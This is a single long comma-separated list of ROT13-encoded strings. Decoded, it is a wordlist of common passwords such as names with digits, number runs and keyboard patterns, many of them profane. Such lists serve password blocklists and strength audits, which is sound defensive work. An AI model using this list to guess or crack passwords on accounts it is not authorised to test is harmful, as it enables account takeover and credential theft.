rg,nsebqvgn,oonyy1,znqvfb,ynqyrf,ybirsrrg,znggurj2,gurjbeyq,guhaqreoveq,qbyyl1,123eee,sbexyvsg,nysbaf,orexhg,fcrrql1,fncuver,bvyzna,perngvar,chfflybi,onfgneq1,456258,jvpxrq1,svyvzba,fxlyvar1,shpvat,lsasxom,ubg123,noqhyyn,avccba,abyvzvgf,ovyyvneq,obbgl1,ohggcyht,jrfgyvsr,pbbyorna,nybun1,ybcnf,nfnfva,1212121,bpgbore2,jubqng,tbbq4h,q12345,xbfgnf,vyln1992,ertny,cvbarre1,ibybqln,sbphf1,onfgbf,aoiwvs,sravk,navgn1,inqvzxn,avpxyr,wrfhfp,123321456,grfgr,puevfg1,rffraqba,ritravv,prygvpsp,nqnz1,sbehzjc,ybirfzr,26rkxc,puvyybhg,oheyl,gurynfg1,znephf1,zrgnytrne,grfg11,ebanyqb7,fbpengr,jbeyq1,senaxv,zbzzvr,ivprpvgl,cbfgbi1000,puneyvr3,byqfpubby,333221,yrtbynaq,nagbfuxn,pbhagrefgevxr,ohttl,zhfgnat3,123454,djregmhv,gbbaf,purfgl,ovtgbr,gvttre12,yvzcbcb,ererurcs,qvqqyr,abxvn3250,fbyvqfanxr,pbana1,ebpxebyy,963369,gvgnavp1,djrmkp,pybttl,cenfunag,xnguneva,znksyv,gnxnfuv,phzbazr,zvpunry9,zlzbgure,craafgngr,xunyvq,48151623,svtugpyho,fubjobng,zngrhfm,ryebaq,grravr,neebj1,znzznzvn,qhfglqbt,qbzvangbe,renfzhf,mkpio1,1n2n3n,obarf1,qraavf1,tnynkvr,cyrnfrzr,jungrire1,whaxlneq,tnynqevry,puneyvrf,2jfkmnd1,pevzfba1,orurzbgu,grerf,znfgre11,snvejnl,funql1,cnff99,1ongzna,wbfuhn12,onenona,ncryfva,zbhfrcnq,zryba,gjbqbtf,123321djr,zrgnyvpn,elwtes,cvcvfxn,eresusks,yhtahg,pergva,vybirh2,cbjrenqr,nnnnnnn1,bznaxb,xbinyraxb,vfnor,pubovgf,151akwzg,funqbj11,mpkspaxoqs,tl3lg2etyf,isuoles,159753123,oynqrehaare,tbbqbar,jbagba,qbbqvr,333666999,shpxlbh123,xvggl123,puvfbk,beynaqb1,fxngrobn,erq12345,qrfgeblr,fabbtnaf,fngna1,whnapneyb,tburryf,wrgfba,fpbggg,shpxhc,nyrxfn,tsusywep,cnffsvaq,bfpne123,qreevpx1,ungrzr,ivcre123,cvrzna,nhqv100,ghssl,naqbire,fubbgre1,10000,znxnebi,tenag1,avtugunj,13576479,oebjarlr,ongvtby,asisus,pubpbyngr1,7ueqaj23,crggre,onagnz,zbeyvv,wrqvxavtug,oeraqra,netbanhg,tbbqfghs,jvfpbafv,315920,novtnvy1,qvegont,fcyhetr,x123456,yhpxl777,inyqrcra,tfke600,322223,tuwawewx,mnd1kfj2pqr3,fpujnam,jnygre1,yrgzrva22,abznqf,124356,pbqroyhr,abxvna70,shpxr,sbbgony1,ntlibep,nmgrpf,cnffj0e,fzhttyrf,srzzrf,onyytnt,xenfabqne,gnzhan,fpuhyr,fvkglavar,rzcverf,resbyt,qinqre,ynqltntn,ryvgr1,irarmhry,avgebhf,xbpunzpvr,byvivn1,gehfga01,nevbpu,fgvat1,131415,gevfgne,555000,znebba,135799,znefvx,555556,sbzbpb,angnyxn,pjbhv,gnegna,qnirpbyr,abfsreng,ubgfnhpr,qzvgel,ubehf,qvznfvx,fxnmxn,obff302,oyhrorne,irfcre,hygenf,gnenaghy,nfq123nfq,nmgrpn,gursynfu,8onyy,1sbbgony,gvgybire,yhpnf123,ahzore6,fnzcfba1,789852,cnegl1,qentba99,nqbanv,pnejnfu,zrgebcby,cflpuanh,igupgygp,ubhaqf,sverjbex,oyvax18,145632,jvyqpng1,fngpury,evpr80,tugxgpaz,fnvybe1,phonab,naqrefb,ebpxf1,zvxr11,snzvyv,qstuwp,orfvxgnf,ebltovi,avxxb,orguna,zvabgnhe,enxrfu,benatr12,usyrhs,wnpxry,zlnatry,snibevgr7,1478520,nfffff,ntavrfmxn,unyrl1,envfva,ughols,1ohfgre,psvrxm,qrerib,1n2n3n4n5n,onygvxn,enssyrf,fpehssl1,pyvgyvpx,ybhvf1,ohqqun1,sl.aes,jnyxre1,znxbgb,funqbj2,erqorneq,isisifxsusir,zlpbpx,fnaqlqbt,yvarzna,argjbex1,snibevgr8,ybatqvpx,zhfgnatt,znirevpxf,vaqvpn,1xvyyre,pvfpb1,natrybsjne,oyhr69,oevnaan1,ohoonn,fynlre666,yriry42,onyqevpx,oehghf1,ybjqbja,unevob,ybirfrkl,500000,guvffhpx,cvpxre,fgrcul,1shpxzr,punenpgr,gryrpnfg,1ovtqbt,erclgjwqs,gurzngevk,unzzreur,puhpun,tnarfun,thafzbxr,trbetv,furygvr,1uneyrl,xahyyn,fnyynf,jrfgvr,qentba7,pbaxre,penccvr,znetbfun,yvfobn,3r2j1d,fuevxr,tevsgre,tuwpawtuwpaw,nfqst1,zaoipkm1,zlfmxn,cbfgher,obttvr,ebpxrgzna,syuglsxol,gjvmgvq,ibfgbx,cv314159,sbepr1,gryrivmbe,tgxziglz,fnzunva,vzpbby,wnqmvn,qernzref,fgenaavx,x2gevk,fgrryurn,avxvgva,pbzzbqbe,oevna123,pubpbob,jubccre,vovyywcs,zrtnsba,neneng,gubznf12,tuoewxopa,d1234567890,uvoreavn,xvatf1,wvz123,erqsvir,68pnzneb,vnjtx2,knivre1,1234567h,q123456,aqvevfu,nveobea,unyszbba,syhssl1,enapureb,farnxre,fbppre2,cnffvba1,pbjzna,oveguqnl1,wbuaa,enmmyr,tybpx17,jfkdnm,ahovna,yhpxl2,wryyl1,uraqrefb,revp1,123123r,obfpbr01,shpx0ss,fvzcfba1,fnffvr,ewlwtxm,anfpne3,jngnfuv,yberqnan,wnahf,jvyfb,pbazna,qnivq2,zbgur,vybirure,favxref,qnivqw,sxzagulsaoqs,zrggff,engsvax,123456u,ybfgfbhy,fjrrg16,oenohf,jbooyr,crgen1,shpxsrfg,bggref,fnoyr1,firgxn,fcnegnph,ovtfgvpx,zvynfuxn,1ybire,cnfcbeg,punzcnta,cncvpuhy,ueingfxn,ubaqnpvivp,xrivaf,gnpvg,zbarlont,tbubtf,enfgn1,246813579,lglsqopaz,thoore,qnexzbba,ivgnyvl,233223,cynloblf,gevfgna1,wblpr1,bevsynzr,zhtjhzc,npprff2,nhgbpnq,gurzngev,djrdjr123,ybyjhg,vovyy01,zhygvfla,1233211,cryvxna,ebo123,punpny,1234432,tevssba,cbbpu,qntrfgna,trvfun,fngevnav,nawnyv,ebpxrgzn,tvkkre,craqentb,ivapra,uryybxvg,xvyylbh,ehtre,qbbqnu,ohzoyror,onqynaqf,tnynpgvp,rznpuvarf,sbtubea,wnpxfb,wrerz,nithfg,sebagren,123369,qnvflznr,ubealobl,jrypbzr123,gvttre01,qvnoy,natry13,vagrerk,vjnagfrk,ebpxlqbt,xhxbyxn,fnjqhfg,bayvar1,3234412,ovtcncn,wrjobl,3263827,qnir123,evpurf,333222,gbal1,gbttyr,snegre,124816,gvgvrf,onyyr,oenfvyvn,fbhgufvq,zvpxr,tuoqga12,cngvg,pgqspawtwxz,byqf442,mmmmmm1,aryfb,terzyvaf,tlcfl1,pnegre1,fyhg69,snepel,7415963,zvpunry8,oveqvr1,puney,123456789nop,100001,nmgrp,fvawva,ovtcvzcv,pybfrhc,ngynf1,aivqvn,qbttbar,pynffvp1,znanan,znypbyz1,esxols,ubgonor,enwrfu,qvzront,tnawhonf,ebqvba,wnte68,frera,flevak,shaalzna,xnenchm,123456789a,oybbzva,nqzva18533362,ovttqbtt,bpnevan,cbbcl1,uryybzr,vagrearg1,obbgvrf,oybjwbof,zngg1,qbaxrl1,fjrqr,1wraavsr,ritravln,ysuols,pbnpu1,444777,terra12,cngelx,cvarjbbq,whfgva12,271828,89600506779,abgerqnzr,ghobet,yrzbaq,fx8gre,zvyyvba1,jbjfre,cnoyb1,fg0a3,wrrirf,shaubhfr,uvebfuv,tbohpf,natryrlr,orermn,jvagre12,pngnyva,dnmrqp,naqebf,enznmna,inzcler,fjrrgurn,vzcrevhz,zheng,wnzrfg,sybffl,fnaqrrc,zbetra,fnynznaqen,ovtqbtt,fgebyyre,awqrivyf,ahgfnpx,ivggbevb,%%cnffjb,cynlshy,ewlngaes,gbbxvr,hoasus,zvpuv,777444,funqbj13,qrivyf1,enqvnapr,gbfuvon1,oryhtn,nzbezv,qnaqsn,gehfg1,xvyyrznyy,fznyyivyyr,cbytnen,ovyylo,ynaqfpnc,fgrirf,rkcybvgr,mnzobav,qnzntr11,qmkgpxsq,genqre12,cbxrl1,xbor08,qnzntre,rtbebi,qentba88,pxsqoe,yvfn69,oynqr2,nhqvf4,aryfba1,avooyrf,23176qwvinasebf,zhgnobe,negbsjne,zngirv,zrgny666,uesmym,fpujvaa,cbbuorn,frira77,guvaxre,123456789djregl,fboevrgl,wnxref,xnenzryxn,ioxsls,ibybqva,vqqdq,qnyr03,eboregb1,yvmnirgn,dddddd1,pngul1,08154711,qnivqz,dhvkbgr,oyhrabgr,gnmqrivy,xngevan1,ovtsbbg1,ohoyvx,znezn,byrpuxn,sngchffl,zneqhx,nevan,abaeri67,dddd1111,pnzvyy,jgcsuz,gehssyr,snveivrj,znfuvan,ibygnver,dnmkfjrqpise,qvpxsnpr,tenffl,yncqnapr,obffgbar,penml8,lnpxjva,zbovy,qnavryvg,zbhagn1a,cynlre69,oyhrtvyy,zrjgjb,erireo,paguqs,cnoyvgb,n123321,ryran1,jnepensg1,beynaq,vybirzlfrys,esaglwe,wblevqr,fpubb,qguwkes,gurgnpuv,tbbqgvzrf,oynpxfha,uhzcgl,purjonppn,thlhgr,123klm,yrkvpba,oyhr45,djr789,tnyngnfnenl,pragevab,uraqevk1,qrvzbf,fnghea5,penvt1,iynq1996,fnenu123,ghcryb,yweawu,ubgjvsr,ovatbf,1231231,avpubynf1,synzre,chfure,1233210,urneg1,uha999,wvttl,tvqqlhc,bxgbore,123456mkp,ohqqn,tnynunq,tynzhe,fnzjvfr,bargba,ohtfohaal,qbzvavp1,fpbbol2,serrgvzr,vagreang,159753852,fp00gre,jnagvg,znmvatre,vasynzrf,ynenpebs,terrqb,014789,tbqbsjne,erclgjwq,jngre123,svfuarg,irahf1,jnyynpr1,gracva,cnhyn1,1475963,znavn,abivxbi,djreglnfqstu,tbyqzvar,ubzvrf,777888999,8onyyf,ubyrvaba,cncre1,fnznry,013579,znafhe,avxvg,nx1234,oyhryvar,cbyfxn1,ubgpbpx,ynerqb,jvaqfgne,ioxojom,envqre1,arjjbeyq,ysloxes,pngsvfu1,fubegl1,cvenaun,gernpyr,eblnyr,2234562,fzhesf,zvavba,pnqrapr,syncwnpx,123456c,flqar,135531,ebovaubb,anfqnd,qrpnghe,plorebayvar,arjntr,trzfgbar,wnoon,gbhpuzr,ubbpu,cvtqbt,vaqnubhf,sbamvr,mroen1,whttyr,cngevpx2,avubatb,uvgbzv,byqanil,djresqfn,hxenvan,funxgv,nyyher,xvatevpu,qvnar1,pnanq,cvenzvqr,ubggvr1,pynevba,pbyyrtr1,5641110,pbaarpg1,gurevba,pyhoore,irypeb,qnir1,nfgen1,13579-,nfgebobl,fxvggyr,vfterng,cubgbrf,pimrsu1txp,001100,2pbby4h,7555545,tvatre12,2jfkpqr3,pnzneb69,vainqre,qbzrabj,nfq1234,pbytngr,djregnfqst,wnpx123,cnff01,znkzna,oebagr,juxmlp,crgre123,obtvr,lrptnn,nop321,1dnl2jfk,rasvryq,pnznebm2,genfuzna,obarsvfu,flfgrz32,nmfkqpsito,crgrebfr,vjnaglbh,qvpx69,grzc1234,oynfgbss,pncn200,pbaavr1,oynmva,12233445,frklonol,123456w,oeragsbe,curnfnag,ubzzre,wreelt,guhaqref,nhthfg1,yntre,xnchfgn,obbof1,abxvn5300,ebppb1,klgsh7,fgnef1,ghttre,123fnf,oyvatoyvat,1ohoon,0jaflb0,1trbetr,onvyr,evpuneq2,unonan,1qvnzbaq,frafngvb,1tbysre,znirevpx1,1puevf,pyvagba1,zvpunry7,qentbaf1,fhaevfr1,cvffnag,sngvz,zbcne1,yrinav,ebfgvx,cvmmncvr,987412365,bprnaf11,748159263,phz4zr,cnyzrggb,4e3r2j1d,cnvtr1,zhapure,nefrubyr,xengbf,tnssre,onaqrenf,ovyylf,cenxnfu,penool,ohatvr,fvyire12,pnqqvf,fcnja1,kobkyvir,flyinavn,yvggyrov,524645,shghen,inyqrzne,vfnpf155,cerggltvey,ovt123,555444,fyvzre,puvpxr,arjfglyr,fxlcvybg,fnvybezbba,sngyhie69,wrgnvzr,fvgehp,wrfhfpuevfg,fnzrre,orne12,uryyvba,lraqbe,pbhagel1,rgavrf,pbarwb,wrqvznfg,qnexxavtug,gbbonq,lkpioa,fabbxf,cbea4yvsr,pnyinel,nysnebzrb,tubfgzna,lnaavpx,saxslaoys,ingbybpb,ubzronfr,5550666,oneerg,1111111111mm,bqlffrhf,rqjneqff,snier4,wreelf,pelonol,kfj21dnm,sverfgbe,fcnaxf,vaqvnaf1,fdhvfu,xvatnve,onolpnxrf,ungref,fnenuf,212223,grqqlo,ksnpgbe,phzybnq,euncfbql,qrngu123,guerr3,enppbba,gubznf2,fynlre66,1d2d3d4d5d,gurorf,zlfgrevb,guveqrlr,bexvbk.,abqbhog,ohtfl,fpujrvm,qvzn1996,natryf1,qnexjvat,wrebavzb,zbbacvr,ebanyqb9,crnpurf2,znpx10,znavfu,qravfr1,sryybjrf,pnevbpn,gnlybe12,rcnhyfba,znxrzbarl,bp247athpm,xbpunavr,3rqpise4,ihygher,1dj23r,1234567m,zhapuvr,cvpneq1,kgugtsves,fcbegfgr,cflpub1,gnubr1,perngvi,crevyf,fyheerq,urezvg,fpbbo,qvrfry1,pneqf1,jvcrbhg,jrroyr,vagrten1,bhg3ks,cbjrecp,puevfz,xnyyr,nevnqar,xnvyhn,cunggl,qrkgre1,sbeqzna,ohatnybj,cnhy123,pbzcn,genva1,gurwbxre,wlf6jm,chfflrngre,rngzrr,fyhqtr,qbzvahf,qravfn,gnturhre,lkpioaz,ovyy1,tusqys,300mk,avxvgn123,pnepnff,frznw,enzbar,zhrapura,navzny1,terral,naarznev,qoes134,wrrcpw7,zbyylf,tnegra,fnfubx,vebaznvq,pblbgrf,nfgbevn,trbetr12,jrfgpbnfg,cevzrgvz,123456b,cnapuvgb,ensnr,wncna1,senzre,nhenyb,gbbfubeg,rtbebin,djregl22,pnyyzr,zrqvpvan,jneunjx,j1j2j3j4,pevfgvn,zreyv,nyrk22,xnjnvv,punggr,jnetnzrf,hgibyf,zhnqqvo,gevaxrg,naqernf1,wwwww1,pyrevp,fpbbgref,phagyvpx,tttttt1,fyvcxabg1,235711,unaqphss,fghffl,thrff1,yrvprfgr,ccccc1,cnffr,ybirtha,purilzna,uhtrpbpx,qevire1,ohggfrk,cflpuanhg1,plore1,oynpx2,nycun12,zryobhea,zna123,zrgnyzna,lwqfdhwy,oybaqv,ohatrr,sernx1,fgbzcre,pnvgyva1,avxvgvan,sylnjnl,cevxby,ortbbq,qrfcrenq,nheryvhf,wbua1234,jubflbheqnqql,fyvzrq123,oergntar,qra123,ubgjurry,xvat123,ebbqlcbb,vmmvpnz,fnir13gk,jnecgra,abxvn3310,fnzbyrg,ernql1,pbbcref,fpbgg123,obavgb,1nnnnn,lbzbzzn,qnjt1,enpur,vgjbexf,nfrperg,srapre,451236,cbyxn,byvirggv,flfnqzva,mrccyva,fnawhna,479373,yvpxrz,ubaqnpek,chynzrn,shgher1,anxrq1,frklthl,j4t8ng,ybyyby1,qrpyna,ehaare1,ehzcyr,qnqql123,4fam9t,tenaqcevk,pnypvb,junggurshpx,antebz,nffyvpx,craafg,artevg,fdhvttl,1223334444,cbyvpr22,tvbinaa,gbebagb1,gjrrg,lneqoveq,frntngr,gehpxref,554455,fpvzvgne,crfpngbe,fylqbt,tnlfrk,qbtsvfu,shpx777,12332112,dnmkfjrq,zbexbixn,qnavryn1,vzonpx,ubeal69,789123456,123456789j,wvzzl2,onttre,vybir69,avxbynhf,ngqusxz,erovegu,1111nnnn,creinfvir,twtrhsd,qgr4hj,tsuaocsl,fxryrgbe,juvgarl1,jnyxzna,qryberna,qvfpb1,555888,nf1234,vfuvxnjn,shpx12,erncre1,qzvgevv,ovtfubg,zbeevffr,chetra,djre4321,vgnpuv,jvyylf,123123djr,xvffxn,ebzn123,genssbeq,fx84yvsr,326159487,crqebf,vqvbz,cybire,orobc,159875321,wnvyoveq,neebjurn,djnfmk123,mnkfpqis,pngybire,onxref,13579246,obarf69,irezbag1,uryyblbh,fvzrba,purilm71,shathl,fgnetnmr,cnebycneby,fgrcu1,ohool,ncngul,cbccrg,ynkzna,xryyl123,tbbqarjf,741236,obare1,tnrgnab,nfgbaivyyn,iveghn,yhpxlobl,ebpurfgr,uryyb2h,rybuvz,gevttre1,pfgevxr,crcfvpbyn,zvebfyni,96385274,svfgshpx,puriny,zntlne,firgynaxn,yoslwkes,znzrqbi,123123123d,ebanyqb1,fpbggl1,1avpbyr,cvggohyy,serqq,ooooo1,qntjbbq,tsuxsigla,tuoyrueo,ybtna5,1wbeqna,frkobzo,bzrtn2,zbagnhx,258741,qglgus,tvooba,jvanzc,gurobzo,zvyyreyv,852654,trzva,onyql,unysyvsr2,qentba22,zhyoreel,zbeevtna,ubgry6,mbetyho,fhesva,951159,rkpryy,neunatry,rznpuvar,zbfrf1,968574,erxynzn,ohyyqbt2,phgvrf,onepn,gjvatb,fnore,ryvgr11,erqgehpx,pnfnoyna,nfuvfu,zbarll,crccre12,paugxgj,ewpaoe,nefpuybpu,curavk,pnpubeeb,fhavgn,znqbxn,wbfryhv,nqnzf1,zlzbarl,urzvphqn,slhgxwe,wnxr12,puvpnf,rrrrr1,fbaalobl,fznegvrf,oveql,xvggra1,paspoe,vfynaq1,xhebfnxv,gnrxjbaq,xbasrgxn,oraargg1,bzrtn3,wnpxfba2,serfpn,zvanxb,bpgnivna,xona667,srlrabbeq,zhnlgunv,wnxrqbt,sxgepslyuwqls,1357911d,cuhxrg,frkfynir,sxgepslyuwqok,nfqswx,89015173454,djregl00,xvaqohq,rygbeb,frk6969,alxavpxf,12344321d,pnonyyb,rirasybj,ubqqyr,ybir22,zrgeb1,znunyxb,ynjqbt,gvtugnff,znavgbh,ohpxvr,juvfxrl1,nagba123,335533,cnffjbeq4,cevzb,enznve,gvzob,oenlqra,fgrjvr,crqeb1,lbexfuve,tnafgre,uryybgur,gvccl1,qverjbys,trarfv,ebqevt,raxryv,inm21099,fbeprere,jvaxl,barfubg,obttyr,freroeb,onqtre1,wncnarf,pbzvpobbx,xnzrunzr,nypng,qravf123,rpub45,frkobl,te8shy,ubaqb,ibrgony,oyhr33,2112ehfu,trarivri,qnaav1,zbbfrl,cbyxza,znggurj7,vebaurnq,ubg2gebg,nfuyrl12,fjrrcre,vzbtra,oyhr21,ergrc,fgrnygu1,thvgneen,oreaneq1,gngvna,senaxshe,isauojs,fynpxvat,unun123,963741,nfqnfqnf,xngrabx,nvesbepr1,123456789dnm,fubgtha1,12djnfm,erttvr1,funeb,976431,cnpvsvpn,quvc6n,arcgha,xneqba,fcbbxl1,ornhg,555555n,gbbfjrrg,gvrqhc,11121314,fgnegnp,ybire69,erqvfxn,cvengn,isueoc,1234djregl,raretvmr,unafbyb1,cynlob,yneel123,brzqyt,pawisawxwh,n123123,nyrkna,tbunjxf,nagbavhf,sponlrea,znzob,lhzzl1,xerzyva,ryyra1,gerzrer,isvrxm,oryyrihr,puneyvr9,vmnoryyn,znyvfuxn,srezng,ebggreqn,qnjttl,orpxrg,punfrl,xenzre1,21125150,ybyvg,pnoevb,fpuybat,nevfun,irevgl,3fbzr,snibevg,znevpba,geniryyr,ubgcnagf,erq1234,tneergg1,ubzr123,xanes,frira777,svtzrag,nfqrjd,pnafrpb,tbbq2tb,jneuby,gubznf01,cvbarr,ny9ntq,cnanprn,puril454,oenmmref,bevbyr,nmregl123,svanysna,cngevpvb,abegufgn,eroryqr,ohyyqb,fgnyybar,obbtvr1,7hsglk,psusawq,pbzchfn,pbeaubyv,pbasvt,qrrer,ubbcfgre,frchyghen,tenffubc,onolthey,yrfob,qvprzna,cebireof,erqqentba,aheorx,gvtrejbb,fhcreqhc,ohmmfnj,xnxnebgb,tbytb13,rqjne,123dnm123,ohggre1,fffff1,grknf2,erfcrxg,bh812vp,123456dnm,55555n,qbpgbe1,zptjver,znevn123,nby999,pvaqref,nn1234,wbarff,tuoewxzlw,znxrzbar,fnzzlobl,567765,380myvxv,gurenira,grfgzr,zlyrar,ryiven26,vaqvtyb,gvenzvfh,funaanen,onol1,123666,tsueru,cncrephg,wbuazvfu,benatr8,obtrl1,zhfgnat7,ontcvcrf,qvznevx,ifvwlwe,4637324,enintr,pbtvgb,frira11,angnfuxn,jnembar,ue3lgz,4serr,ovtqrr,000006,243462536,ovtobv,123333,gebhgf,fnaql123,fmrinfm,zbavpn2,thqrevna,arjyvsr1,engpurg,e12345,enmbeonp,12345v,cvnmmn31,bqqwbo,ornhgl1,sssss1,naxyrg,abqebt,crcvg,byviv,chenivqn,eboreg12,genafnz1,cbegzna,ohoonqbt,fgrryref1,jvyfba1,rvtugonyy,zrkvpb1,fhcreobl,4esi5gto,zmrcno,fnzhenv1,shpxfyhg,pbyyrra1,tveqyr,isepoirp,d1j2r3e4g,fbyqvre1,19844891,nylffn1,n12345n,svqryvf,fxrygre,abybir,zvpxrlzbhfr,seruyrl,cnffjbeq69,jngrezry,nyvfxn,fbppre15,12345r,ynqloht1,nohynsvn,nqntvb,gvtreyvy,gnxrunan,urpngr,obbgarpx,whasna,nevtngb,jbaxrggr,obool123,gehfgabbar,cunagnfz,132465798,oevnawb,j12345,g34isep1991,qrnqrlr,1eboreg,1qnqql,nqvqn,purpx1,tevzybpx,zhssv,nvejnyx,cevmenx,bapyvpx,ybatornp,reavr1,rnqtor,zbber1,travh,funqbj123,ohtntn,wbanguna1,pwewxwqs,beybin,ohyqbt,gnyba1,jrfgcbeg,nravzn,541233432442,onefhx,puvpntb2,xryylf,uryyorag,gbhtuthl,vfxnaqre,fxbny,jungvfvg,wnxr123,fpbbgre2,stwesxotpop,tunaqv,ybir13,nqrycuvn,iwuewqes,nqeranyv,avhavn,wrzbrqre,envaob,nyy4h8,navzr1,serrqbz7,frencu,789321,gbzzlf,nagzna,svergehp,arbtrb,angnf,ozjz3,sebttl1,cnhy1,znzvg,onlivrj,tngrjnlf,xhfnantv,vungrh,serqrev,ebpx1,praghevba,tevmyv,ovttva,svfu1,fgnyxre1,3tveyf,vybircbe,xybbgmnx,ybyyb,erqfbk04,xvevyy123,wnxr1,cnzcref,infln,unzzref1,grnphc,gbjvat,prygvp1,vfugne,lvatlnat,4904f677075,qnup1,cngevbg1,cngevpx9,erqoveqf,qberzv,erorpp,lbbubb,znxnebin,rcvcubar,estoasl,zvyrfq,oyvfgre,puryfrnsp,xngnan1,oynpxebfr,1wnzrf,cevzebfr,fubpx5,uneq1,fpbbol12,p6u12b6,qhfgbss,obvat,puvfry,xnzvy,1jvyyvnz,qrsvnag1,glihtd,zc8b6q,nnn340,ansrgf,fbaarg,syluvtu,242526,perjpbz,ybir23,fgevxr1,fgnvejnl,xnghfun,fnynznaq,phcpnxr1,cnffjbeq0,007wnzrf,fhaavr,zhygvflap,uneyrl01,grdhvyn1,serq12,qevire8,d8mb8jmd,uhagre01,zbmmre,grzcbene,rngzrenj,zeoebjakk,xnvyrl,flpnzber,sybttre,gvaphc,enunfvn,tnalzrqr,onaqren,fyvatre,1111122222,inaqre,jbbqlf,1pbjobl,xunyrq,wnzvrf,ybaqba12,onolobb,gmcinj,qvbtrarf,ohqvpr,znievpx,135797531,purrgn,znpebf,fdhbax,oynpxore,gbcshry,ncnpur1,snypba16,qnexwrqv,purrmr,isuigxsy,fcnepb,punatr1,tsusvs,serrfgly,xhxhehmn,ybirzr2,12345s,xbmybi,furecn,zneoryyn,44445555,obprcuhf,1jvaare,nyine,ubyylqbt,tbarsvfu,vjnagva,onezna,tbqvfybir,nznaqn18,escslaot,rhtra,nopqrs1,erqunjx,guryrzn,fcbbazna,onyyre1,uneel123,475869,gvtrezna,pqgawkes,znevyyvb,fpevooyr,ryavab,pnethl,unequrnq,y2t7x3,gebbcref,fryra,qentba76,nagvthn,rjgbfv,hylffr,nfgnan,cnebyv,pevfgb,pnezrk,znewna,onffsvfu,yrgvgor,xnfcnebi,wnl123,19933991,oyhr13,rlrpnaql,fpevor,zlybeq,hxsyowxrp,ryyvr1,ornire1,qrfgeb,arhxra,unyscvag,nzryv,yvyyl1,fngnavp,katjbw,12345gerjd,nfqs1,ohyyqbtt,nfnxhen,wrfhpevfg,syvcfvqr,cnpxref4,ovttl,xnqrgg,ovgrzr69,oboqbt,fvyiresb,fnvag1,oboob,cnpxzna,xabjyrqt,sbbyvb,shffony,12345t,xbmrebt,jrfgpbnf,zvavqvfp,aoipkj,znegvav1,nynfgnve,enfratna,fhcreorr,zrzragb,cbexre,yran123,syberap,xnxnqh,ozj123,trgnyvsr,ovtfxl,zbaxrr,crbcyr1,fpuynzcr,erq321,zrzlfrys,0147896325,12345678900987654321,fbppre14,ernyqrny,tstwkes,oryyn123,whttf,qbevgbf,prygvpf1,crgreovyg,tuoqgaoeo,tahfznf,kpbhagel,tuoqga1,ongzna99,qrhfrk,tgauwqs,oynoynoy,whfgre,znevzon,ybir2,erewxes,nyunzoen,zvpebf,fvrzraf1,nffznfgr,zbbavr,qnfunqnfun,ngloep,rrrrrr1,jvyqebfr,oyhr55,qnivqy,kec23d,fxloyhr,yrb123,ttttt1,orfgsevraq,senaal,1234ezio,sha123,ehyrf1,fronfgvra,purfgre2,unxrrz,jvafgba2,snegevccre,ngynag,07831505,vyhifrk,d1n2m3,yneelf,009900,tuwxwh,pncvgna,evqre1,dnmkfj21,orybpuxn,naql123,uryyln,puvppn,znkvzny,whretra,cnffjbeq1234,ubjneq1,dhrgmny,qnavry123,dcjbrvehgl,123555,ouneng,sreenev3,ahzoahgf,fninag,ynqlqbt,cuvcfv,ybirchffl,rgbvyr,cbjre2,zvggra,oevgarlf,puvyvqbt,08522580,2spuot,xvaxl1,oyhrebfr,ybhyb,evpneqb1,qbdid3,xfjoqh,013pcsmn,gvzbun,tuoqgatuoqga,3fgbbtrf,trneurnq,oebjaf1,t00ore,fhcre7,terraohq,xvggl2,cbbgvr,gbbyfurq,tnzref,pbssr,vovyy123,serrybir,nanfnmv,fvfgre1,wvttre,angnfu,fgnpl1,jrebavxn,yhmrea,fbppre7,ubbcyn,qzbarl,inyrevr1,pnarf,enmqingev,jnfurer,terrajbb,esuwxols,nafryz,cxkr62,znevor,qnavry2,znkvz1,snprbss,pneovar,kgxwqge,ohqql12,fgengbf,whzczna,ohggbpxf,ndfjqrse,crcfvf,fbarpuxn,fgrryre1,ynazna,avrgmfpu,onyym,ovfphvg1,jekfgv,tbbqsbbq,whiragh,srqrevp,znggzna,ivxn123,fgeryrp,wyrqslkoe,fvqrfubj,4yvsr,serqqres,ovtjvyyl,12347890,12345671,funevx,ozj325v,slyugdes,qnaaba4,znexl,zeunccl,qeqbbz,znqqbt1,cbzcvre,preoren,tbboref,ubjyre,wraal69,riryl,yrgvgevq,pguhggqls,sryvc,fuvmmyr,tbys12,g123456,lnznu,oyhrnezl,fdhvful,ebkna,10vapurf,qbyysnpr,onoltvey1,oynpxfgn,xnarqn,yrkvatgb,pnanqvra,222888,xhxhfuxn,fvfgrzn,224422,funqbj69,ccfcnaxc,zryybaf,oneovr1,serr4nyy,nysn156,ybfgbar,2j3r4e5g,cnvaxvyyre,eboovr1,ovatre,8qvup6,wnfcr,eryyvx,dhnex,fbtbbq,ubbcfgne,ahzore2,fabjl1,qnq2bjah,perfgn,djr123nfq,uwislwqs,tvofbaft,dot26v,qbpxref,tehatr,qhpxyvat,ysvrxm,phagfbhc,xnfvn1,1gvttre,jbnvav,erxfvb,gzbarl,sversvtugre,arheba,nhqvn3,jbbtvr,cbjreobb,cbjreznp,sngpbpx,12345666,hcaszp,yhfgshy,cbea1,tbgybir,nzlyrr,xolgdes,11924704,25251325,fnenfbgn,frkzr,bmmvr1,oreyvare,avttn1,thngrzny,frnthyyf,vybirlbh!,puvpxra2,djregl21,010203040506,1cvyybj,yvool1,ibqbyrl,onpxynfu,cvtyrgf,grvhorfp,019283,ibaarthg,crevpb,guhaqr,ohpxrl,tgkglzes,znahavgr,vvvvv1,ybfg4815162342,znqbaa,270873_,oevgarl1,xriyne,cvnab1,obbaqbpx,pbyg1911,fnynzng,qbzn77af,nahenqun,pauwdes,ebggjrvy,arjzbba,gbctha1,znhfre,svtugpyh,oveguqnl21,erivrjcn,urebaf,nnffqqss,ynxref32,zryvffn2,ierqvan,wvhwvgfh,ztboyhr,funxrl,zbff84,12345mkpio,shafrk,orawv1,tnepv,113322,puvcvr,jvaqrk,abxvn5310,cjkq5k,oyhrznk,pbfvgn,punyhcn,gebgfxl,arj123,t3hwjt,arjthl,pnanovf,tantrg,uncclqnlf,sryvkk,1cngevpx,phzsnpr,fcnexvr,xbmybin,123234,arjcbegf,oebapbf7,tbys18,erplpyr,ununu,uneelcbg,pnpubaqb,bcra4zr,zvevn,thrffvg,crcfvbar,xabpxre,hfzp1775,pbhagnpu,cynlr,jvxvat,ynaqebire,penpxfriv,qehzyvar,n7777777,fzvyr123,znamnan,cnagl,yvoregn,cvzc69,qbysna,dhnyvgl1,fpuarr,fhcrefba,rynvar22,jroubzcnff,zeoebjak,qrrcfrn,4jurry,znznfvgn,ebpxcbeg,ebyyvr,zlubzr,wbeqna12,xsitwkes,ubpxrl12,frntenir,sbeq1,puryfrn2,fnzfnen